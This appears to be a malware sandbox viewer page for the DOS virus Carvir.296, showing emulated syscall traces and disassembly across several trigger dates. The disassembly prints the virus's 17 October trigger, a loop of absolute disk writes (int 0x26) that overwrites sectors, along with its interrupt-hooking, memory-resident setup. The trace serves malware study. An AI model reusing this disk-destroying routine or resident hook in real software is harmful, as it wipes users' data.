Sample viewer

vx.netlux.org/Virus.DOS.Companion.Carvir.296

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:28:44.00381991Z 42 PC: 12aea | Get date 0x12aea: cmp dh, 0xa
0x12aed: jne 0x12b06
0x12aef: cmp dl, 0x11
0x12af2: jne 0x12b06
0x12af4: mov al, 2
0x12af6: mov cx, 1
0x12af9: mov bx, 0x115
0x12afc: cdq
0x12afd: int 0x26
0x12aff: inc dx
0x12b00: jae 0x12afd
0x12b02: inc al
0x12b04: jmp 0x12af6
0x12b06: mov ax, 0xfa01
0x12b09: mov dx, 0x5945
0x12b0c: int 0x21
0x12b0e: mov ax, 0x3521
0x12b11: int 0x21
0x12b13: mov di, 0x228
0x12b16: mov word ptr [0x228], bx
2018-12-17T22:28:44.007078952Z 250 PC: 12b0e | UNKNOWN!
2018-12-17T22:28:44.018651175Z 53 PC: 12b13 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:28:44.020159392Z 37 PC: 12b26 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:28:44.021593498Z 49 PC: 12b2a | Terminate and stay resident (Return code = '0' | Memory size = '35')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":5127,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:53:43.365625073Z 42 PC: 12aea | Get date 0x12aea: cmp dh, 0xa
0x12aed: jne 0x12b06
0x12aef: cmp dl, 0x11
0x12af2: jne 0x12b06
0x12af4: mov al, 2
0x12af6: mov cx, 1
0x12af9: mov bx, 0x115
0x12afc: cdq
0x12afd: int 0x26
0x12aff: inc dx
0x12b00: jae 0x12afd
0x12b02: inc al
0x12b04: jmp 0x12af6
0x12b06: mov ax, 0xfa01
0x12b09: mov dx, 0x5945
0x12b0c: int 0x21
0x12b0e: mov ax, 0x3521
0x12b11: int 0x21
0x12b13: mov di, 0x228
0x12b16: mov word ptr [0x228], bx
2018-12-25T11:53:43.367654717Z 250 PC: 12b0e | UNKNOWN!
2018-12-25T11:53:43.369092862Z 53 PC: 12b13 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:53:43.370092281Z 37 PC: 12b26 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:53:43.371058055Z 49 PC: 12b2a | Terminate and stay resident (Return code = '0' | Memory size = '35')

{"DateBased":true,"Day":1,"Month":10,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":5127,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:53:43.448642396Z 42 PC: 12aea | Get date 0x12aea: cmp dh, 0xa
0x12aed: jne 0x12b06
0x12aef: cmp dl, 0x11
0x12af2: jne 0x12b06
0x12af4: mov al, 2
0x12af6: mov cx, 1
0x12af9: mov bx, 0x115
0x12afc: cdq
0x12afd: int 0x26
0x12aff: inc dx
0x12b00: jae 0x12afd
0x12b02: inc al
0x12b04: jmp 0x12af6
0x12b06: mov ax, 0xfa01
0x12b09: mov dx, 0x5945
0x12b0c: int 0x21
0x12b0e: mov ax, 0x3521
0x12b11: int 0x21
0x12b13: mov di, 0x228
0x12b16: mov word ptr [0x228], bx
2018-12-25T11:53:43.45117506Z 250 PC: 12b0e | UNKNOWN!
2018-12-25T11:53:43.451946674Z 53 PC: 12b13 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:53:43.452963013Z 37 PC: 12b26 | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:53:43.454312598Z 49 PC: 12b2a | Terminate and stay resident (Return code = '0' | Memory size = '35')

{"DateBased":true,"Day":17,"Month":10,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":5127,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:53:44.080143033Z 42 PC: 12aea | Get date 0x12aea: cmp dh, 0xa
0x12aed: jne 0x12b06
0x12aef: cmp dl, 0x11
0x12af2: jne 0x12b06
0x12af4: mov al, 2
0x12af6: mov cx, 1
0x12af9: mov bx, 0x115
0x12afc: cdq
0x12afd: int 0x26
0x12aff: inc dx
0x12b00: jae 0x12afd
0x12b02: inc al
0x12b04: jmp 0x12af6
0x12b06: mov ax, 0xfa01
0x12b09: mov dx, 0x5945
0x12b0c: int 0x21
0x12b0e: mov ax, 0x3521
0x12b11: int 0x21
0x12b13: mov di, 0x228
0x12b16: mov word ptr [0x228], bx